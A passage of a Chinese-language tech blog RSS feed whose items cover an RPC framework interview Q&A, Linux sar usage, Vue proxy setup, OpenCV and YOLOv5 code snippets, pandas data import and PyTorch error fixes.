      <description>给我简单介绍下你的项目？&#xA;本项目基于Netty、Spring、Zookeeper实现了一个简单的RPC框架，可以支持服务器与客户端之间的长连接，支持心跳检测，采用JSON实现编解码，基于Spring注解进行动态代理的实现调用，最后通过Zookeeper的Watcher机制实现了客户端连接的监控、管理和发现等功能，并实现了服务注册的功能。&#xA;你的项目的流程给我介绍一下&#xA;首先需要启动Zookeeper服务器，然后通过spring启动RPC的server，此时Rpc的server会把自己注册到Zookeeper中，在Rpc 的server启动过程中，会采用ApplicationListener的监听机制完成server的初始化，之后通过BeanPostProcessor将服务器被自定义注解标记的bean及其方法以类名加方法名的方式存进一个Map中，方便后续客户端启动后的调用&#xA;客户端的的启动类为TcpClient，通过该类的静态方法实现netty客户端的初始化，同时客户端会向zookeeper获取服务器列表与服务器相连，在启动过程中，会对指定的方法完成动态代理，因为rpc的本质就是向调用本地方法一样进行网络通信，所以动态代理的目的就是完成通信过程中的配置，比如将调用方法和要传递的参数封装成一个request发送给服务器，从而实现对调用者隐藏通信细节的目的。最后基于Zookeeper的watcher机制完成了客户端对服务器节点的监视功能&#xA;你的项目的架构是怎样的？你的项目具有哪些特别的点？为什么要做这个项目？ 传统的curd项目技术含量比较低，对于技术的追求才想做一个rpc项目，可以把平时学到的技术运用到里面，于是基于netty和rpc框架的学习，做了一个简易的rpc项目&#xA;你知道dubbo么？那你的项目和dubbo有什么区别？x&#xA;Dubbo是阿里开发的一个rpc框架，这个项目算的上是dubbo的精简版，例如项目只支持JSON的序列化，dubbo支持的序列化形式更多更全面；项目只使用netty+spring做服务器，而dubbo的服务器支持tomcat、netty等容器，另外，该项目的动态代理使用的是spring的动态代理，dubbo则是使用的javassist。&#xA;短链接，长链接： 由于采用TCP作为传输协议，如果采用短链接的话，频繁的创建和断开连接会有很多网络消耗，这和预期的高性能RPC并不符合&#xA;长连接的实现主要通过zookeeper，服务器节点会被注册到zookeeper中，客户端每次获取服务器地址时，会把返回的ChannelFuture存在一个set里面，每次发送请求都从set中取出ChannelFuture发送消息，并且发送消息后不关闭连接，这就保证了客户端和服务器之间的长连接&#xA;基于TCP 还是http，为什么用TCP实现 基于TCP实现，因为http协议本身是无状态协议无法对客户端的请求和响应进行关联，并且http数据包较大，并不符合高性能RPC的预期，且TCP是可靠的网络传输协议，能保证数据正确性&#xA;同步阻塞调用性能瓶颈：有什么瓶颈？ X 你怎么解决的，怎么实现异步调用的？&#xA;同步阻塞的缺点是调用线程会阻塞在请求中，cpu并不会切换到其他线程，如果服务器一直不返回消息，客户端就会一直被阻塞，并且同步阻塞会使线程数和客户连接数是一一对应的关系，需要频繁的创建新的线程，而线程又是java中比较珍贵的资源&#xA;Netty本身就是基于Nio开发的非阻塞的IO，本项目也是采用netty作为通信框架&#xA;为什么需要心跳检测,客户端发送请求服务端没回应会造成什么(X)？心跳检测机制你是怎么实现的？(X)&#xA;心跳检测主要是为了增加该rpc项目的可靠性设计的，因为一般晚上不会有太多的业务请求，如果此时客户端出现了故障，等到第二天大量的请求就可能呢会冲垮客户端的连接，导致大量的请求出现无法响应的情况。&#xA;心跳机制的实现通过netty自带的idleStateHandler以及重写userEveentTriggered方法实现的，在读写空闲时设定向已连接的客户端发送ping消息，如果客户端能及时返回ping消息，说明客户端连接正常，如果读写空闲甚至到了读空闲仍没有接收到客户端发送的ping，说明该客户端的连接出现了问题，服务器就会关闭和该客户端的连接，客户端需要在断线后进行重新连接。&#xA;什么叫做序列化？Java原生序列化问题(-)？为什么用JSON，怎么实现的JSON序列化，和JAVA序列化速度的差异？(x)&#xA;网络只能传递二进制数据，并不能以对象的方式传输数据，序列化就是一种把对象转成二进制数据的算法，并且这种转换是可逆的。&#xA;Java原生的序列化最主要的问题就是不能够跨语言，并且序列化的性能低，序列化后的文件大小比较大&#xA;JSON是一种Key-value类型的，典型的文本型序列化框架。&#xA;JSON序列化是通过FastJson框架实现的，把对象转换成json格式的数据&#xA;使用FastJson框架实现Json的编解码速度会比java原生序列化方式要快，且序列化后的码流也比较小&#xA;为什么用JSON，应该还有其他更快的吧？(-)&#xA;比较常见的还有protobuf、protoStuff、Hession，序列化性能更好并且数据报更小，protobuf有自己的数据类型和格式，使用时需要自己写IDL文件，并通过相对应的程序转换成Java对象的格式，比较麻烦，但可以跨语言并且性能很好。&#xA;Hession并没有那么麻烦，并且序列化性能比Json和java原生的序列化性能更好，比较适合rpc框架，但是并不支持java全部的数据类型，例如LinkedHashMap等&#xA;你还知道哪些序列化的方式？&#xA;还有facebook的thrift，JBoss Marshelling&#xA;你是怎么基于动态代理进行的请求处理？用的哪一种？为什么使用这种?(X)&#xA;使用Spring 的CGLIB进行动态代理，在interruput方法中对方法进行横切扩展，主要是将请求参数封装成一个ClientRequest类，并使用Netty将请求发送出去。&#xA;Spring Cglib的好处是可以对类进行动态代理，而jdk的动态代理只能针对接口&#xA;解决进程通信问题这个我不太懂，你的项目哪里遇到进程通信问题了？ (X)&#xA;客户端发送大量请求的时候，服务器的响应可能会产生并发问题，导致出现进程通信问题。&#xA;你是怎么解决进程通信问题的？(X)&#xA;通过引入wait和notify机制，使用可重入锁ReentrantLock和Condition进行控制&#xA;首先创建锁&#xA;在主线程获取结果前，先等待结果&#xA;在获取结果前，先加锁，防止多线程同时获取结果&#xA;如果没有获得结果，则进入Condition等待，并在finally中释放锁&#xA;当客户端接收到服务器的响应时，唤醒锁&#xA;你还知道哪些解决进程通信问题的方式？&#xA;可以使用锁粒度比较大且并发效果不太好的synchronize锁，volatile、乐观锁CAS机制&#xA;TCP/IP 拆包粘包能简单介绍下么？你怎么解决的呢？有没有更好的解决方式？(X Header Body)&#xA;TCP协议是基于流的协议，没有消息边界，客户端发送数据时，为了减小通信消耗，可能会将多次发送的数据组合在一起发送，这就是粘包，当要发送的数据太大导致数据包分片时，服务器一次只能获取部分数据，这就是拆包&#xA;有几种解决办法&#xA;可以使用消息包定长的方法解决，长度不足的使用空格补上&#xA;使用特殊分隔符结尾的方式，分隔符标识消息包的结尾，区分整个数据报&#xA;在消息头标识数据包的长度，可以通过获取指定字节数的方式获取完整的消息包&#xA;你是怎么基于BeanPostProcessor 机制和 ApplicationListener 机制实现客户端的自启 动与基于注解的服务调用&#xA;BeanPostProcessor的使用，首先在要调用的属性上加上一个自定义注解RemoteInvoke，通过BeanPostProcessor的postProcessBeforeIntialization方法首先扫描到整个带有RemoteInvoke注解的属性，之后在调用该属性的具体的方法时，使用request封装该属性也就是对象的限定名和方法名以及方法参数发给服务器，指定需要调用的方法，之后服务器接收到这个request对象，并且服务器在启动时也会通过自己的自定义注解把所有属性以及对应的方法封装到一个hashMap里面来，在收到客户端request时在hashMap中查找对应方法并执行该方法，之后返回给客户端执行后的响应结果&#xA;ApplicationListenser会监听服务器初始化完毕，并监听所有的ContextRefreshedEvent事件，ApplicationListenser通过onApplicationEvent方法处理事件。</description>
    </item>
    <item>
      <title>sar命令使用</title>
      <link>https://bchobby.github.io/posts/1986349f10f519e5ab807baa8a176052/</link>
      <pubDate>Thu, 03 Aug 2023 11:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1986349f10f519e5ab807baa8a176052/</guid>
      <description>文章目录 1.查看cpu平均负载使用情况2.查看cpu利用率情况3.查看内存4.查看系统swap分区统计情况5.查看IO和传输速率6.查看磁盘使用情况7.统计网络信息8.网络设备通讯失败信息9.统计socket连接信息10.TCP连接的统计 1.查看cpu平均负载使用情况 -q:队列长度和平均负载统计信息&#xA;-s:开始时间&#xA;-e:截止时间&#xA;-f:从指定文件读取&#xA;查看12:00到15:00cpu的平均负载使用情况&#xA;输出信息说明：&#xA;runs-sz:运行队列的长度（等待运行的进程数，每核的CP不能超过3个）&#xA;pist-sz:进程列表中的进程（process）和线程（threads）的数量&#xA;ldavg-1:最后一分钟的cpu平均负载，就是将多核cpu过去一分钟的负载相加，再除以核心数得到的平均值&#xA;ldavg-5:同上&#xA;ldavg-15:同上&#xA;blocked:&#xA;2.查看cpu利用率情况 -u:cpu利用率信息&#xA;输出信息说明：&#xA;%user:用户空间的cpu使用时间百分比&#xA;%nice:改变过优先级的进程的cpu使用时间百分比&#xA;%system:内核空间的cpu使用时间百分比&#xA;%iowait:等待IO操作所占用的cpu时间百分比&#xA;%steal:虚拟机的虚拟机cpu使用的cpu时间百分比&#xA;%idle:进程执行所占cpu时间百分比，此数值越大说明系统负载越轻，cpu不繁忙&#xA;统计cpu利用率情况，每一秒统计1次，一共统计3次&#xA;3.查看内存 -h:以人类可读形式&#xA;输出信息说明：&#xA;kbmemfree:空闲的物理内存大小&#xA;kbavail:可用物理内存大小&#xA;kbmemused:已使用的物理内存大小&#xA;%memused:物理内存使用率&#xA;kbbuffers:内核中作为缓冲区使用的物理内存大小，&#xA;kbcached:缓存的文件大小&#xA;kbcommit:保证当前系统正常运行所需要的最小内存，即为了确保内存不溢出而需要的最少内存（物理内存+swap分区）&#xA;%commit:这个值是kbcommit与内存总量（物理内存+swap分区）的一个百分比的值&#xA;kbactive:&#xA;kbinact:&#xA;kbdirty:&#xA;查看内存使用情况&#xA;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G8eK7Ac4-1691031617141)(/Users/liuhuan/Library/Application Support/typora-user-images/image-20230802160301141.png)\&#xA;4.查看系统swap分区统计情况 输出信息说明：&#xA;pswpin/s:每秒从交换分区到系统的交换页面（swap page）的数量&#xA;pgwpout/s:每秒从系统交换到swap的交换页面（swap page）的数量&#xA;5.查看IO和传输速率 -b:I/O 和传输速率信息状况&#xA;输出信息说明：&#xA;tps:磁盘每秒钟的IO总数,等于iostat中的tps&#xA;rtps:每秒钟从磁盘中读取的IO总数&#xA;wtps:每秒钟写入到磁盘的IO总数&#xA;dtps:&#xA;bread/s:每秒钟从磁盘读取的总块数&#xA;bwrtn/s:没秒钟写入到磁盘的总块数&#xA;bdscd/s:&#xA;6.查看磁盘使用情况 -p:加上此选项，能显示具体的磁盘名称，不加的话就显示dev253-0类似的设备名称&#xA;-d:块设备状况&#xA;中间省略......&#xA;输出信息说明：&#xA;tps:每秒IO的传输总数&#xA;rkb/s:每秒读取扇区的总数&#xA;wkb/s:每秒写入扇区的总数&#xA;dkb/s:每秒删除扇区的总数&#xA;areq-sz:平均每次磁盘IO操作的数据大小</description>
    </item>
    <item>
      <title>vue配置代理</title>
      <link>https://bchobby.github.io/posts/99791115ba1d9b11ed7a3d16db9b76eb/</link>
      <pubDate>Thu, 03 Aug 2023 11:14:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99791115ba1d9b11ed7a3d16db9b76eb/</guid>
      <description>1. 使用vue.config.js文件配置代理： 在Vue项目的根目录下创建一个vue.config.js文件，并添加以下代码：&#xA;module.exports = { devServer: { proxy: { &#39;/api&#39;: { target: &#39;http://api.example.com&#39;, changeOrigin: true, secure:false, pathRewrite: { &#39;^/api&#39;: &#39;/&#39; } } } } } 上述代码中，我们使用devServer配置项来配置代理服务器。其中proxy属性用于配置代理的规则，/api表示需要代理的接口路径。target属性表示代理的目标服务器地址，changeOrigin属性表示是否改变请求的源地址，pathRewrite属性用于重写请求的路径。&#xA;2. 使用http-proxy-middleware库配置代理： 在Vue项目的根目录下创建一个vue.config.js文件，并添加以下代码：&#xA;const proxyMiddleware = require(&#39;http-proxy-middleware&#39;); module.exports = { devServer: { before(app) { app.use( &#39;/api&#39;, proxyMiddleware({ target: &#39;http://api.example.com&#39;, changeOrigin: true, pathRewrite: { &#39;^/api&#39;: &#39;&#39; } }) ); } } } 上述代码中，我们使用http-proxy-middleware库来配置代理服务器。在before方法中，通过app.use方法来使用代理中间件。&#39;/api&#39;表示需要代理的接口路径，target属性表示代理的目标服务器地址，changeOrigin属性表示是否改变请求的源地址，pathRewrite属性用于重写请求的路径。&#xA;3. 使用axios库的代理配置： 如果项目中使用了axios库来发送请求，可以直接在axios的配置中配置代理。在项目的入口文件（比如main.js）中添加以下代码：&#xA;import axios from &#39;axios&#39;; axios.defaults.baseURL = &#39;/api&#39;; axios.</description>
    </item>
    <item>
      <title>基于yolo v5与Deep Sort进行车辆以及速度检测与目标跟踪实战</title>
      <link>https://bchobby.github.io/posts/8e8a6679c1ee04cea56b3c870f7b519f/</link>
      <pubDate>Thu, 03 Aug 2023 10:12:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e8a6679c1ee04cea56b3c870f7b519f/</guid>
      <description>项目实验结果展示：&#xA;基于yolo v5与Deep Sort进行车辆以及速度检测与目标跟踪实战——项目可以私聊&#xA;该项目可以作为毕业设计，以及企业级的项目开发，主要包含了车辆的目标检测、目标跟踪以及车辆的速度计算，同样可以进行二次开发。&#xA;这里附上主要的检测代码&#xA;import torch import numpy as np from models.experimental import attempt_load from utils.general import non_max_suppression, scale_coords from utils.torch_utils import select_device from utils.datasets import letterbox import cv2 from deep_sort.utils.parser import get_config from deep_sort.deep_sort import DeepSort from haversine import haversine, Unit from sys import platform as _platform class Detector: &#34;&#34;&#34; yolo目标检测 &#34;&#34;&#34; def __init__(self): self.img_size = 1280 self.conf_thres = 0.5 self.iou_thres=0.5 # 目标检测权重 self.weights = &#39;weights/highway_m_300.pt&#39; self.</description>
    </item>
    <item>
      <title>ST标准库：src文件夹与inc文件夹</title>
      <link>https://bchobby.github.io/posts/eeacb3f55491467fd411b8ad20d1fac4/</link>
      <pubDate>Thu, 03 Aug 2023 01:52:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eeacb3f55491467fd411b8ad20d1fac4/</guid>
      <description>src文件夹与inc文件夹是ST标准库的主要内容&#xA;src和inc文件夹里面是ST公司针对每个STM32外设而编写的库函数文件，每一个外设对应一个.c和.h后缀的文件。我们把这类文件统称为stm32f1x_ppp.或者stm32f10x_ppp.h文件（ppp表示外设名称）例如stm32f10x_gpio.c和stm32f10x_gpio.h文件就属于这一类&#xA;在C编程中，ST标准库通常指的是标准库（Standard Library），也就是提供的一组常用功能的函数和头文件。这些函数和头文件可以通过包含相应的头文件来使用。&#xA;通常情况下，标准库包含两个主要文件夹：&#xA;src文件夹：这个文件夹通常包含标准库的源代码文件，即标准库函数的实现代码。这些源代码文件在编译时会被编译器链接到你的程序中，使你能够使用标准库提供的功能。&#xA;inc文件夹：这个文件夹通常包含标准库的头文件，也称为&#34;include&#34;文件。头文件包含了标准库函数的声明，函数原型和常量定义等信息。当你在自己的代码中需要使用标准库的功能时，你需要在代码中包含相应的头文件。&#xA;总的来说，标准库的src文件夹包含了函数的实现，而inc文件夹包含了函数的声明，让你的代码能够使用这些功能。这样的设计使得标准库的实现和使用分离开来，方便开发者在自己的代码中使用这些功能，而不需要了解标准库的底层实现细节。</description>
    </item>
    <item>
      <title>springboot自定义错误消息</title>
      <link>https://bchobby.github.io/posts/6017075cb6443e95be100d8f00d0beca/</link>
      <pubDate>Wed, 02 Aug 2023 21:49:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6017075cb6443e95be100d8f00d0beca/</guid>
      <description> 为了提供自定义错误消息提示，springboot在resources目录下，有一个文件ValidationMessages.properties 用于存储 验证错误的消息提示：&#xA;比如：&#xA;这样一个ValidationMessage.properties&#xA;username.notempty=用户名不能为空 username.length=用户名长度必须在{min}和{max}之间 password.notempty=密码不能为空 password.pattern=密码必须包含至少一个大写字母、一个小写字母和一个数字 调用的时候：&#xA;问题 中文出现乱码&#xA;默认情况下，java的Properties类使用ISO-8859-1编码加载文件，可能导致中文乱码，，&#xA;在springboot中配置# springboot会使用 utf-8 编码加载资源文件，确保中文能够正确的显示 spring.messages.encoding=UTF-8 </description>
    </item>
    <item>
      <title>前端（HTML5 &#43; CSS3）（学习笔记）</title>
      <link>https://bchobby.github.io/posts/17c44223e89d34fb1dea614b0f48bb19/</link>
      <pubDate>Wed, 02 Aug 2023 16:25:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c44223e89d34fb1dea614b0f48bb19/</guid>
      <description>前端开发 最近看了黑马程序员的前端教程，在此记录学习笔记&#xA;基础认知 Web标准要求页面实现：结构、表现、行为三层分离&#xA;HTML：超文本标记语言 骨架结构标签：html标签（整体）、head标签（头部）、body标签（身体）、title标签（标题）&#xA;标签的结构图：开始标签+包裹的内容+结束标签（少数标签只有一部分，即单标签（自成一体，无包裹内容））&#xA;快捷键（VS Code） 新建：!+Enter&#xA;注释：Crtl+/（选中部分所在行）Alt+Shift+A（选中部分注释）&#xA;光标多选：Crtl+D&#xA;左缩进：Shift+Tab&#xA;跨行多选：中键向下拖&#xA;标签 标签可叠加使用&#xA;排版标签 注释（Crtl+/）：&amp;lt;!--这是注释--&amp;gt; 标题：&amp;lt;h1&amp;gt;一级标题&amp;lt;/h1&amp;gt;（加粗、独占一行） 段落:&amp;lt;p&amp;gt;这是段落&amp;lt;/p&amp;gt;（段落之间存在间隙、独占一行） 换行：&amp;lt;br&amp;gt; 水平分割线：&amp;lt;hr&amp;gt; 文本格式化标签 &amp;lt;b&amp;gt;加粗&amp;lt;/b&amp;gt;&#x9;或&#x9;&amp;lt;strong&amp;gt;加粗&amp;lt;/strong&amp;gt; &amp;lt;u&amp;gt;下划线&amp;lt;/u&amp;gt;&#x9;或&#x9;&amp;lt;ins&amp;gt;下划线&amp;lt;/ins&amp;gt; &amp;lt;i&amp;gt;倾斜&amp;lt;/i&amp;gt;&#x9;或&#x9;&amp;lt;em&amp;gt;倾斜&amp;lt;/em&amp;gt; &amp;lt;s&amp;gt;删除线&amp;lt;/s&amp;gt;&#x9;或&#x9;&amp;lt;del&amp;gt;删除线&amp;lt;/del&amp;gt; 媒体标签 &amp;lt;!--媒体标签（图片）--&amp;gt; &amp;lt;img src=&#34;../img/1.png&#34; alt=&#34;替换文本&#34; title=&#34;提示文本&#34; width=&#34;900&#34; height=&#34;900&#34;&amp;gt; 绝对路径:目录下的绝对位置，可直接到达目标位置 盘符开头：D:\day\img\1.jpg 完整网址：https://www.xxx.com/img/1.png 相对路径：从当前文件夹出发寻找目标文件的过程 ./是当前目录（可省略）；../是父级目录；/是根目录 alt：替换文本，当图片不显示时显示 title：提示文本，鼠标悬停时显示 width、height：宽高，只给一个值时，另一个等比缩放 &amp;lt;!--媒体标签（音频）--&amp;gt; &amp;lt;audio src=&#34;../video/1.mp3&#34; controls autoplay loop&amp;gt;&amp;lt;/audio&amp;gt; 音频标签目前支持三种格式：MP3、Wav、Ogg controls：显示播放的控件 autoplay：自动播放（部分浏览器不支持） loop：循环播放 &amp;lt;!--媒体标签（视频）--&amp;gt; &amp;lt;video src=&#34;../video/1.mp4&#34; controls autoplay muted loop width=&#34;500&#34;&amp;gt;&amp;lt;/video&amp;gt; 视频标签目前支持三种格式：MP3、WebM、Ogg autoplay：自动播放（部分浏览器不支持）（谷歌等浏览器中需配合muted实现静音播放） 链接标签 &amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>C&#43;&#43;如何用OpenCV中实现图像的边缘检测和轮廓提取？</title>
      <link>https://bchobby.github.io/posts/4b0d99764de990f4dd1e42d7d3d41813/</link>
      <pubDate>Wed, 02 Aug 2023 14:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b0d99764de990f4dd1e42d7d3d41813/</guid>
      <description>最近有个项目需要做细孔定位和孔距测量，需要做边缘检测和轮廓提取，先看初步效果图： 主要实现代码：&#xA;int MainWindow::Test() { // 2.9 单个像素长度um 5倍 double dbUnit = 2.9/(1000*5); // 定义显示窗口 namedWindow(&#34;src&#34;, WINDOW_NORMAL|WINDOW_KEEPRATIO); namedWindow(&#34;threshold&#34;, WINDOW_NORMAL|WINDOW_KEEPRATIO); namedWindow(&#34;morphologyEx x1&#34;, WINDOW_NORMAL|WINDOW_KEEPRATIO); namedWindow(&#34;morphologyEx x2&#34;, WINDOW_NORMAL|WINDOW_KEEPRATIO); namedWindow(&#34;canny&#34;, WINDOW_NORMAL|WINDOW_KEEPRATIO); namedWindow(&#34;dst&#34;, WINDOW_NORMAL|WINDOW_KEEPRATIO); resizeWindow(&#34;src&#34;, 1080,720); resizeWindow(&#34;threshold&#34;, 1080,720); resizeWindow(&#34;morphologyEx x1&#34;, 1080,720); resizeWindow(&#34;morphologyEx x2&#34;, 1080,720); resizeWindow(&#34;canny&#34;, 1080,720); resizeWindow(&#34;dst&#34;, 1080,720); //【1】载入图像 Mat src = imread(&#34;0.28um+5x.jpg&#34;); Mat src_clone = src.clone(); if(src.empty()){ qDebug()&amp;lt;&amp;lt;&#34;图片为空&#34;; return 1; } imshow(&#34;src&#34;,src); //【2】转灰度图 Mat gray; cvtColor(src,gray,COLOR_BGR2GRAY); //imshow(&#34;gray&#34;,gray); //【3】图像二值化 threshold(gray,gray,130,190,THRESH_BINARY); imshow(&#34;threshold&#34;,gray); //【4】执行形态学开操作去除噪点 Mat kernel = getStructuringElement(MORPH_RECT,Size(15,15),Point(-1,-1)); morphologyEx(gray,gray,MORPH_CLOSE,kernel,Point(-1,-1),1); imshow(&#34;</description>
    </item>
    <item>
      <title>java中，为什么重写方法的权限要和父类一样或者更大</title>
      <link>https://bchobby.github.io/posts/b7956da05dc78c9386c4ef122bfea697/</link>
      <pubDate>Wed, 02 Aug 2023 11:04:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7956da05dc78c9386c4ef122bfea697/</guid>
      <description>在Java中，重写方法的权限要和父类一样或者更大，是为了保持程序的安全性和一致性。&#xA;首先，如果子类的重写方法比父类的权限更小，那么当父类的方法被其他代码调用时，可能会出现子类无法访问的情况。这可能导致代码执行错误或者无法按照预期的方式工作。&#xA;其次，Java的访问权限控制是建立在面向对象的封装性原则上的。父类中的方法拥有较大的访问权限时，表明这个方法是对外暴露的，子类应该保持或扩大相同的权限，以保持对外部代码的一致性。如果子类降低了权限，将破坏封装性，并可能导致对外部代码的违规访问。&#xA;最后，Java的重写是通过子类在继承关系中覆盖父类方法来实现的。子类的重写方法应该是对父类方法的特化，所以它的权限应该至少与父类方法相同。如果权限更小，那么子类的行为将限制在比父类更小的范围内，这不符合重写的意义。&#xA;总结来说，重写方法的权限要和父类一样或者更大，主要是为了程序的安全性和一致性。这样可以避免运行时错误和保持正确的访问控制。</description>
    </item>
    <item>
      <title>Python导入数据与输出数据</title>
      <link>https://bchobby.github.io/posts/64c3969514344f050a9283c096eefab6/</link>
      <pubDate>Tue, 01 Aug 2023 20:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64c3969514344f050a9283c096eefab6/</guid>
      <description>目录&#xA;一、导入数据&#xA;1、导入Excel表格数据&#xA;2.导入CSV格式数据&#xA;3.导入JSON格式数据&#xA;4.导入txt格式数据&#xA;5.导入(爬取)网络数据&#xA;二、导出数据&#xA;1.csv格式数据输出&#xA;2.xlsx格式数据输出&#xA;3.导入到多个sheet页中&#xA;一、导入数据 1、导入Excel表格数据 read excel方法中的参数介绍如下&#xA;(1)sheet name参数: 该参数用于指定导入Excel文件中的哪一个sheet，如果不填写这个参数，则默认导入第一个sheet&#xA;(2) index col参数: 该参数用于指定表格的哪一列作为DataFrame的行索引从0开始计数&#xA;(3)nrows参数: 该参数可以控制导入的行数，该参数在导入文件体积较大时比较有用&#xA;(4)skipfooter参数: 该参数可以在导入数据时，跳过表格底部的若干行&#xA;(5) header参数:当使用Pandas的read excel方法导入Excel文件时，默认表格的第一行为字段名。如果表格的第一段不是字段名，则需要使用该参数设置字段名&#xA;(6)usecols参数:该参数可以控制导入Excel表格中的哪些列&#xA;(7)names参数:该参数可以对导入数据的列名进行重命名&#xA;import pandas as pd df=pd.read_excel(&#34;文件路径&#34;,index_col=0,nrows=5,header=None, name=[&#34;a&#34;,&#34;b&#34;,&#34;c&#34;,&#34;d&#34;,&#34;e&#34;],usecols=[1,3]) #index_col=0是将第一列作为索引；nrows=5是导入前五行 #header=None是取消第一行作表头；name是命名表头 #usecols=[1,3]是导入第二列和第四列 2.导入CSV格式数据 read_csv方法中的sep参数表示要导入的csv文件的分隔符，默认值是半角逗号。encoding参数用来指定CSV文件的编码，常用的有utf-8和 gbk。&#xA;import pandas as pd df=pd.read_csv(&#34;文件路径&#34;,sep=&#34;,&#34;,encoding=&#34;gbk&#34;,nrows=5,usecols=[1,3], names=[&#34;名字&#34;,&#34;战队&#34;,&#34;位置&#34;]) 3.导入JSON格式数据 import pandas as pd df=pd.read_json(&#34;文件路径&#34;) 4.导入txt格式数据 参数和用法与read_csv类似&#xA;import pandas as pd df=pd.read_table(&#34;文件路径&#34;) 5.导入(爬取)网络数据 在Python的数据分析中，除了可以导入文件和数据库中的数据，还有一类非常重要的数据就是网络数据。网络中每天都会产生大量数据，这些数据具有实时性、种类丰富的特点，因此对于数据分析而言是十分重要的一类数据来源。关键技术:爬取网络表格类数据，pandas库read html0方法&#xA;read_html方法用于导入带有table标签的网页表格数据。使用该方法前，首先要确定网页表格是否为table标签。具体方法为，鼠标右键单击网页中的表格，在弹出的菜单中选择“查看元素”，查看代码中是否含有表格标签&amp;lt;table&amp;gt;...&amp;lt;/table&amp;gt;的字样，确定后才可以使用read html方法。read html方法常用参数说明如下&#xA;io: 字符串，文件路径，也可以是URL链接。网址不接受https，可以尝试去掉https中的s后爬取</description>
    </item>
    <item>
      <title>DataLoader worker (pid(s) 13424) exited unexpectedly “nll_loss_forward_reduce_cuda_kernel_2d_index“</title>
      <link>https://bchobby.github.io/posts/87ae1ff74c217640f9be18623f1bc252/</link>
      <pubDate>Tue, 01 Aug 2023 18:48:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87ae1ff74c217640f9be18623f1bc252/</guid>
      <description>错误汇总 错误一：DataLoader worker (pid(s) 13424) exited unexpectedly 遇到的错误可能是由于以下原因之一导致的：&#xA;数据集中有损坏或无效的文件，导致数据加载器无法读取或解析它们。数据集太大，超过了您的内存或显存的容量，导致数据加载器无法分配足够的空间来存储或处理它们。数据加载器使用了多个进程来加速数据加载，但由于某些原因，这些进程之间的通信出现了问题，导致数据加载器无法同步或接收数据。 为了解决这个问题，可以尝试以下一些方法：&#xA;检查数据集中是否有损坏或无效的文件，并删除或修复它们。可以使用一些工具来验证数据集，例如[torchvision.datasets.folder.verify_str_arg]或[torchvision.datasets.folder.is_image_file]。减小批量大小（batch_size）或缩放因子（upscale_factor），以减少每次加载和处理的数据量。这样可以降低内存或显存的压力，避免溢出错误。减少数据加载器使用的进程数（num_workers），或者将其设置为0，以避免多进程之间的通信问题。这样可能会降低数据加载的速度，但也可以避免意外退出错误。 错误二：“nll_loss_forward_reduce_cuda_kernel_2d_index” not implemented for ‘Int’ 思路一：&#xA;这个错误的原因可能是目标变量target的数据类型是Int，而不是Long。PyTorch的交叉熵损失函数cross_entropy_loss要求目标变量的数据类型是Long。将target = target.cuda(non_blocking=True)改为target = target.long().cuda(non_blocking=True)，将target = target.cuda()改为target = target.long().cuda()。 def train(train_loader, model, criterion, optimizer): model.train() train_loss = 0.0 for i, (input, target) in enumerate(train_loader): input = input.cuda(non_blocking=True) target = target.long().cuda(non_blocking=True) # 修改了这里，原来是 target = target.cuda(non_blocking=True) # 因为交叉熵损失函数要求目标变量的数据类型是Long，而不是Int output = model(input) loss = criterion(output, target) optimizer.zero_grad() loss.backward() optimizer.step() if i % 20 == 0: print(loss.</description>
    </item>
    <item>
      <title>spring boot合并 http请求（前后端实现）</title>
      <link>https://bchobby.github.io/posts/c69b0f97b42abfa5254faf0bbc3fa045/</link>
      <pubDate>Tue, 01 Aug 2023 16:40:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c69b0f97b42abfa5254faf0bbc3fa045/</guid>
      <description>为什么要合并http请求 页面加载时要初始化很多资源信息，会发送好多http请求，根据http的通信握手特点，多个http请求比较浪费资源。进而如果能将多个http请求合并为一个发送给服务器，由服务器获取对应的资源返回给客户端&#xA;奇思妙解 解1 将所有http请求，包装成一个大的参数&#xA;[ {method:&#39;请求方法GET&#39;，url:&#39;user/detail&#39;,params:{userId:1}}, // http1 {method:&#39;请求方法GET&#39;，url:&#39;freidn/detail&#39;,params:{friend:1}} // http2 ] 上述参数封装了两个http请求，将参数发送给服务器，服务器进行解析，获取两个http请求所需的数据，然后再一起返回&#xA;这样虽然完成了 http的合并请求，但是导致了单次的请求时间过长，而且两个http请求必须等待一起完成。不能像原来的那样，一个http获取到数据后就能立即的对数据进行处理&#xA;解2 有没有什么办法可以让服务器提供的资源分阶段返回？即http1的数据处理完成后立即响应给客户端，http2 的数据处理完成后立即响应给客户端，当两个http都响应完成后，该请求结束。&#xA;遇题不会找百度！！ 发现了 EventSources。立马尝试 百度百科:事件源（Event sources），产生事件的组件或对象称为事件源。事件源产生事件并把它传递给事件监听器（event listeners）。&#xA;立马写了个demo尝试了一下 EventSources 可以实现 当http1的数据处理完成后立即响应给客户端，http2 的数据处理完成后立即响应给客户端，两个http都响应完成后，请求结束。&#xA;服务端可以开启线程使用SSE，分次写会响应数据&#xA;恩，真棒，这么容易解决了，收拾收拾睡觉，躺下了，总感觉哪里不对劲，恩，是的，参数太大，get请求就废了 是的，参数太大了，已经超出了get请求的长度限制，那怎么办？把参数进行压缩然后放入请求头?但是请求头也有大小限制，那用POST？&#xA;查询了 EventSources的文档后发现这东西不支持post。那这个想法是不是就泡汤了？ 解3 经过一系列的折腾，感觉的这个想法要泡汤，于是就先放了放，过了一段时间后，灵机一动，能不能自己弄个 EventSource出来？&#xA;灵机一动 开始行动 经过磨难 难题终结 效果 将多个http 合并为一个自定义的EventSources,携带参数发起post请求，到服务端，服务端调整为SSE，并开启线程，每条线程处理一个http任务，处理完成后通过SSE写回数据，这时http请求未关闭，仍可让其他http任务的线程继续写回数据。等待所有任务都处理完成后，关闭这一个http请求。&#xA;效果图 有需要的可以联系我</description>
    </item>
    <item>
      <title>几个常用gurobi调试参考网址</title>
